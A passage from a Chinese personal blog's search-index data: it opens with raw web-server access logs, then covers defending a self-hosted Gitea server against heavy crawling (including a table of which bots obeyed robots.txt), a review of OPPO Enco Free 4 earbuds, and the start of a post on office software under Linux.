br\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.195997813,\u0026#34;size\u0026#34;:26607,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.554788,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;104.23.190.253\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;10096\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;104.23.190.253\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/ns3-datacenter/src/commit/cbf82ca5c485aa25a521641d98f7057869b65c98/simulator/netanim-3.109/qtpropertybrowser/src/QtCheckBoxFactory\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effc08b82732-EWR\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;84.37.134.1\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;84.37.134.1\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.362997391,\u0026#34;size\u0026#34;:29091,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.5676897,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.71.175.92\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;12402\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.71.175.92\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/ostep-homework/blame/commit/a9800f62f7c4b5b73acf8b239912981066893c30/threads-cv/main-common.c\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effcecf13acd-DFW\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;85.254.139.44\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;85.254.139.44\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.232635982,\u0026#34;size\u0026#34;:148573,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.5740168,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.70.34.170\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;12627\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.70.34.170\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/k12-math-paper-generator/commits/commit/a42e3bc68b2f3285da3368127b642b5999fef9a0/frontend/src/App.vue\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;89.116.14.10\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.10 Safari/605.1.1\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effc0f995a45-IAD\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;89.116.14.10\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.371793012,\u0026#34;size\u0026#34;:68154,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.6670785,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;162.158.167.69\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;12289\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;162.158.167.69\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/blame/commit/41c3033d1ac6b9596ce3ae861484e855b619705a/i18n/en.yaml\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effec835cf2e-SJC\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;50.114.108.24\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.10 Safari/605.1.1\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;50.114.108.24\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.064485444,\u0026#34;size\u0026#34;:121024,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;]}} 与上次Gitea被大规模爬取不同，日志中的2134个不同的源IP来自世界各地的不同国家，也有着各种可以以假乱真的User-Agent，光凭最简单的两个特征已经无法分辨爬虫和正常访问；Referrer 字段倒是统一的Google，一个根本无法屏蔽的值。在开始记录到爬取停止的30分钟内总共有超过25000条请求，也就是说平均每秒近14条，且endpoint基本都是 /src、/raw/ 和 /blame/ 之类的高开销请求。\n怎么办呢？部分在ChatGPT的帮助下（用AI防御AI），本着尽量不影响正常用户访问（虽然没几个）、尽量block掉爬虫的原则，有了这么几种办法：\n表层特征过滤和速率限制 由于爬虫有着巨大的IP池和不断变化的User-Agent，这些表层措施（甚至包括fail2ban）可以说收效甚微。而这些爬虫IP十分随机，以至于试了好几个都在AbuseIPDB上完全没有风险，下载其数据库也无法有效匹配。\n同样的，由于请求被分摊到了大量IP上，针对IP做限速也是完全无效的。半小时的请求平均下来每个IP才12次，真人的请求都比这个多。\nJS challenge 就像前两天被打得叫苦不迭的GNOME GitLab和AUR一样，上Anubis之类的JS challenge？其实很可能没什么用，从代价来看它根本防御不了爬虫。\n无节制的爬虫与DDoS有着本质的区别。DDoS的目的是把服务器打垮、资源耗尽，即内存频繁缺页、CPU负载过高、刷爆CDN流量，或是令网络提供商不得不进行路由黑洞等，而不追求真的能访问到网页内容，因此DDoS通常有着极高的强度，而平均到每次请求所允许的开销很低，尤其考虑到DDoS的直接请求者经常是各种IoT肉鸡的情况下。从这个角度上来说，JS challenge通过大幅增加请求者的计算开销来阻挡DDoS是非常有效的。\n而爬虫则不同。一方面，它们在提高爬取强度之前，需要确保访问的内容是可用的，所以不会以“打死”为目的；另一方面，财大气粗的AI企业能够购买大量合法的网络资源。更多的总资源，更少的请求频率，使得分配到每次请求的计算开销显著提高，即使让爬虫去解JS challenge成本也是可控的，AI企业有足够的动机去做这件事。\n上面链接中的博客说的是同一件事。计算发现解一个Anubis这样的challenge成本几乎为零，而某个刚刚套壳了别人模型的厂恰巧也发现了，只要给爬虫加个runtime就行了。\nGitea限制用户访问 Gitea配置中自带一个限制高开销endpoint的选项：\nini 复制代码 [service] REQUIRE_SIGNIN_VIEW = expensive 1 2 [service] REQUIRE_SIGNIN_VIEW = expensive 开启后，所有未登录用户访问 /src、/raw/、/blame/ 等高开销页面时会被重定向到登录页面。这非常非常有效，只需检测一下登录状态，就能让正常用户继续访问，起码可以clone下来仓库自己研究，而爬虫则会收到一个Unauthorized。\n直到爬虫（或者后面的人）找到了个口子：/compare/ 路径。不知为何这个路径没有被Gitea算作高开销，反而实际上开销比前三个更大。所以这个办法也宣告失败了。\n自己写一层gateway Anubis也是gateway，不过自己写一个gateway可以做很多自由的事，甚至坏事。Gitea本身对外提供OAuth2接口，可以在gateway中判断是否登录，然后决定是否放行请求。还可以根据系统负载来动态决定是否对未登录用户进行更严格的限制。\n我有一个坏想法：Gitea的上述高开销端点都是根据模板渲染出来的，gateway也可以使用这些模板来伪造以假乱真的响应内容。与此同时，也有足够轻量的生成乱序假代码的逻辑。你可能猜到了我的目的：对爬虫进行投毒。只要做好足够的禁止爬虫声明，并在渲染出来的网页上显著标识“这是伪造内容”，大概便无需为此而自责，正常人应该都可以识别出来。\n只是写这样的gateway有点工作量，等开题结束再说吧。\n深层特征辨别 TLS指纹也算是一种特征，这可能是一种可行的方向，但效率恐怕没有下面这种的高。\n验证Cookie 同样是揭露 Anubis 有效性的那篇博客 探讨了一种Caddy设置cookie的方法（具体请自己点进去看），我推测这是一个非常简单且有效的办法。Gitea对于每个初次访问者都会设置CSRF token cookie，而统计发现上述爬取时段内非首次访问的请求仅有0.41% 具有cookie；这证明了这些爬虫没有处理cookie的能力。\n这个博客提到的方法中，如果没有携带cookie，则仅能返回一个自动刷新的空页面；而携带了cookie的请求则会被正常转发到后端Gitea。这样一来，爬虫就只能拿到空页面了。\n未雨绸缪，好消息是我的博客是静态页面，爬也没用。坏消息是评论系统是动态的，而且开销还不低。不过也好搞，到时候把评论关了完事。\nMeta连爬6天 怎么都挑我时间紧的时候打啊，上次是忙开题，这次又是忙找实习，我真没空陪你们闹了。\n感谢阿里巴巴公开免费的Qwen3.6-Plus，对于这些数据分析来说非常够用，又没有GPT-5.4那样的严重AI味。\n最重量级的一集，robots.txt 也不管，登录限制的endpoint遇到redirect也嗯爬，之前提到的 /compare/ 口子也嗯爬，6天爬了110万次请求。几点观察：\n完全无视 robots.txt，作为落在通配符上的其他UA，仍然应爬尽爬。 前几天的爬取主要落在 src、commits、raw、blame、rss 等endpoint上，而最近几个小时才转移到 compare 这个未拦截的端点。所以到第6天才被腾讯云告警发现，之前流量也没浪费多少。 6天内也不是一直在爬，每天总有那么几个小时没有爬；但在爬取时段，基本维持在每秒3次左右的频率上。 find、releases、actions、commit、activity 等endpoint也有所爬取，但并不随着commit变化，加之 find 被验证登录了，所以频率也不高，加起来才几千次请求。 几个高开销端点的commit hash均为真实存在，我就奇怪了，上述的endpoint都加了登录限制，compare爬得又晚，它到底是怎么知道commit hash的？而且有36%的请求是重复的，看样子还是不太死心。 IP段比较集中，103个IPv6分布在2a03:2880:f810::/48下，101个IPv4分布在/24下，都是Meta自己的归属地西雅图的IP。 当然，也不是所有的bot都遵守了 robots.txt 要求，但是这么久的请求中，根本不查询这些要求的，只有Meta一家别无分店。不同于ExternalFetcher，ExternalAgent并没有标明不遵守 robots.txt。\nUA 结论 meta-externalagent/1.1 ❌ 从未查询，直接无视 Applebot ❌ 查了但照爬不误 DotBot/1.2 (Moz) ✅ 完全遵守 YandexBot/3.0 ✅ 完全遵守（在允许名单内） ClaudeBot/1.0 ✅ 完全遵守 facebookexternalhit/1.1 ✅ 完全遵守 bingbot/2.0 ✅ 完全遵守（在允许名单内） 剩下的不必多言，大家请看图。\n分端点爬取次数随时间的分布 话又说回来了，说这些我自己也没什么办法，不管是上面的阿里云还是各路IP池，还都是用黑手套的IP来爬取的，给雇主留点面子。直到这里明晃晃地使用了Meta自己的IP段、Meta自己的User-Agent，更是肆无忌惮，目前的时间也只能谴责而已。总之Meta是真的找不出数据训llama5了是吧，能爬我的代码爬得起劲那真是这辈子有了。\n","date":"September 7, 2025","matchCount":0,"permalink":"/post/block-scrapers/","preview":"","title":"屏蔽了一些爬虫"},{"content":"很久没有看到全网都在吹同一台耳机的现象了。从部分博主放出降噪曲线，然后开始营销500价位预期，再然后更多的博主开始对这款耳机大加赞扬，一直到正式发售，互联网对它的狂热，就像是低价位的救世主降临了。\n入手价格：原价369 - 学生优惠30 - 国家补贴55.35 = 313.65人民币\n音质、调音与主观听感 很遗憾的是它并没有发挥OPPO声学的优良传统——或者说，很好地保持了近期OPPO声学产品的糟粕。低频量巨大，其他频段也只是中规中矩，虽然听感相对于Enco X3一耳朵屎有了明显提升，但仍然连小米的审美都不如，起码小米有人懂科Hi。\n设备：小米15 / 调音：至臻原音 / LHDCv5 + Hi-Res模式 / 固件115.115.105 / Apple Music无损\n下面以几首曲子为例来说说我的感受：\n德沃夏克《第九交响曲》，第4乐章（1959柏林爱乐乐团 \u0026amp; 卡拉扬）：表现尚可，号的音色渲染不错，而单簧管的音色则显得逊色。 柴可夫斯基《天鹅湖》，No. 2（1976伦敦交响乐团）：大提琴响起时已经有一定的轰头感，而三角铁的声音相对正常乐团排布较近。在演奏钹与定音鼓的时候，弦乐、铜管乐器和打击乐的声音混在一起，十分混沌，听感糟糕，这点在最后一段高潮部分尤为明显。 维瓦尔第《四季》，春（1984维也纳爱乐 \u0026amp; 卡拉扬）：小提琴协奏曲，然而让人摸不清独奏的小提琴到底在哪里。 何占豪《梁祝》（1996中国交响乐团 \u0026amp; 吕思清）：没有渲染出小提琴中高频下所表达的清亮音色，导致不管是欢快情节还是悲伤情节，都发挥不出情绪。 周杰伦《搁浅》：作为一首鼓点声音比较大的歌，鼓点一上来就开始轰头了，一轰到尾，很大程度上盖过了人声的细节。周杰伦的人声渲染得较为粗糙，还有种闷着的感觉。 许嵩《温泉》：本来一首甜甜的歌，甜味都没了，像土嗨一样，问题和《搁浅》差不多。 《明天会更好》：独唱的人声很不错，伴奏乐器尚可，合唱则显得闷而混沌。 OneRepublic《Love Runs Out》：这首歌的鼓点频率稍高一点，正好避开了最轰头的区域，没有前两首那么惨。这本应该是它的优势区间，然而对于Tedder假声的渲染则稍显单薄，情绪的表达就卡那儿了。 Shawn Mendes \u0026amp; Camila Cabello《Señorita》：把低频拉低后勉强能听了，人声的音色渲染相对OK，但男女声完全混在一起，没有层次感。 Taylor Swift《Blank Space》：Taylor的声音符合我的预期，这是这款耳机表现相对好的一首歌。 HOYO-MiX \u0026amp; Chevy《使一颗心免于哀伤》：果然让这个耳机变能听的最简单方法就是挑一首没多少低频的歌，人声不错，不过气声相对来说还是有些放大了，我个人不喜欢。 总的来说最大的问题其实仍然存在于致死量低频上，其自带均衡器的调节范围仅有 ±6dB，所以不仅需要将50Hz左右拉到最底端，而且要给其他频段额外加入增益才算是能听。另外也有一些需要解决的小问题，比如各种乐器混在一起没有区分感等，但最基本的能听已经保证了。\n其实我本来副标题都想好了，叫做“建议售价4001元”，没别的只是想嘲讽一下那个“4000以内音质最好”的耳机。然而它现在搞成这个样子我也很没办法呀，它确实是不如。带强烈主观的渲染，如果不能控制好方向，那么适得其反，不如白开水性冷淡调音。\n大致概括一下内置的几种调音风格：\n至臻原音：大量低频，很轰头；其他频段也偏闷 纯享人声：人声大幅拉高，很突出，但低频也不小 澎湃低音：💩 活力动感：相比至臻原音，低频略有削弱，声音的表现更加明快，但与至臻原音没有本质的区别 主动噪音控制 与乏善可陈的音质音效相比，降噪和通透模式的表现则是它的巨大亮点。\n单论极限降噪深度斗蛐蛐数值，Enco Free 4并不出众，波谷值仅在 -42分贝左右。然而每个媒体测试结果都表明，其降噪曲线异常平坦。实际体验中也印证了这一现象，它对于中高频噪音的降噪效果，不光能够将同价位耳机抛在身后，也能够与友商的旗舰TWS相提并论。它对人说话声有着明显的抑制效果，基本能够完全盖过空气净化器开大档的声音，甚至只要开一点声音听歌，能够完全盖过红轴机械键盘的敲击声。虽然感觉确实人为增大了耳套来进行被动降噪，但主动降噪效果相对于忧伤机型来说也并不落于下风，也并未明显牺牲佩戴。相比于仍然沉湎于廉价低频冲击的调音，起码降噪是真正为听感着想了。\n通透的效果称得上略有瑕疵，瑕疵来源于其时有时无的巨大底噪。沙沙声的底噪会在刚切换到通透模式时非常明显，然后几乎完全消失，但在其他某些情况下也会出现，不过其实很难察觉，并不影响体验。对全频段的还原也是相当不错的，重要的人声和交通噪音也得到了恰到好处的还原。耳机柄上方巨大的麦克风开孔，也保证了其在通透模式下的拾音效果，确保了各个方向都能够捕捉外界声音。\n单只佩戴可以支持通透或者降噪，效果非常好，且模式设定与双耳佩戴分离（如可以设置单耳通透、双耳降噪，互不干扰），非常理想的逻辑。\n抗风噪的逻辑在我体验的耳机中算是比较好的，但仍然不能满足戴耳机骑车的需要。相比于许多耳机检测到风噪就直接禁用主动噪音控制的办法，听起来Enco Free 4并不是完全降低所有频段下的噪音控制效果，针对频段有所不同；而且这个应对效果也并非两档一刀切，而是针对风噪声的大小动态调整。但不巧的是，在降低风噪增益的同时，交通噪音也不再那么明显了，而这对于骑车来说是个很大的问题，因为不再能够单凭声音预料到后方来车了。\n自适应模式平平无奇，如果说上述的噪音控制功能已经做得够好了，那自适应模式也算不上锦上添花——真的不智能。\nApp与互联 欢律App称得上是非常可靠，基本不会故意不给其他厂商阉割功能。逻辑比索尼的正常很多，也不会管不该管的事。\nApp中可以显示当前连接的两台设备名称，但不能手动取消其中一个的配对。不得不提的是，双设备连接的逻辑非常感人，它不同于暂停原先设备播放、切换到另一台设备的逻辑，也不是切换设备但却不主动暂停原设备（但声音是新设备的），而是在有声音输入时，直接忽略另一台设备的声音。比如在电脑上看片，耳机输出电脑的声音；此时手机来了个电话，耳机仍然播放电脑的声音，手机却以为自己连着耳机所以不响铃，于是手机铃声就这么完全被忽略掉了。\n切换模式的人声提示音竟然有好几种可选，可惜我并不想要人声，只想要简单的提示音，如果这样能把切换模式连带播提示音的用时降下来，那便是极好的了。\n佩戴与操控 个人认为在柄式TWS中这个算比较大的，因为它戴不牢。虽然比不上豆式的索尼WF-1000XM3或者红米AirDots 3（无Pro）那么大，但相比贴合耳廓非常牢靠的小米Buds 3 Pro、OPPO Enco X3和小米Buds 5 Pro——没错，虽然它听感和降噪都不行，但它佩戴特别特别舒服——还是差了不少。好在入耳的部分固定非常牢靠，单耳重量也不过分，所以其实不用担心掉落。\n掉不下来归掉不下来，有时候还是觉得它会掉，于是会时不时用手扶一下。这就引入了另一个问题，它的便捷操控是通过按压滑动（或者说触摸）耳机柄上方的一块区域实现的。因为区域本身不小，所以还是有一定可能会误触单击。就这一点上，我认为不如捏耳机柄。\n质感非常一般，纯纯的大塑料感，甚至没有磨砂或者别的什么涂层。好在做工处于不错的水平，接缝等处理得十分顺滑。\n续航与充电 续航可以信赖，充电盒充电速度高达约5W，基本构不成瓶颈。原价300多块钱的耳机确实不适合要求无线充电。\n总结 中端降噪神塞，确实担当得起救世主的地位，但除了降噪以外的功能，顶多符合价位罢了。很适合大部分只需要听个响、经常遇到嘈杂环境，但从不正经欣赏音乐的人。\n","date":"April 17, 2025","matchCount":0,"permalink":"/post/oppo-enco-free-4/","preview":"","title":"OPPO Enco Free 4：技能树全点歪了的耳机"},{"content":"大半年前，在工位的电脑上装了EndeavourOS，从此开始了无Windows的学习生活尝试。在Linux上打大部分游戏都有完善方案的现在，用Linux办公仍然是个难题，很神奇吧？拜微软所赐，Linux上现在还没有我习惯的原生版MS Office，更没有OneDrive和Office 365。\nWPS Office：又不是不能用 在Windows上，WPS Office就已经与MS Office（Microsoft 365）相爱相杀了二十多年；而在缺失MS Office的Linux原生办公方案中，WPS Office仍然是其中翘楚，比什么LibreOffice高到不知哪里去了。\n或许拜近些年的信创风所赐，需要称赞的是Linux上的WPS 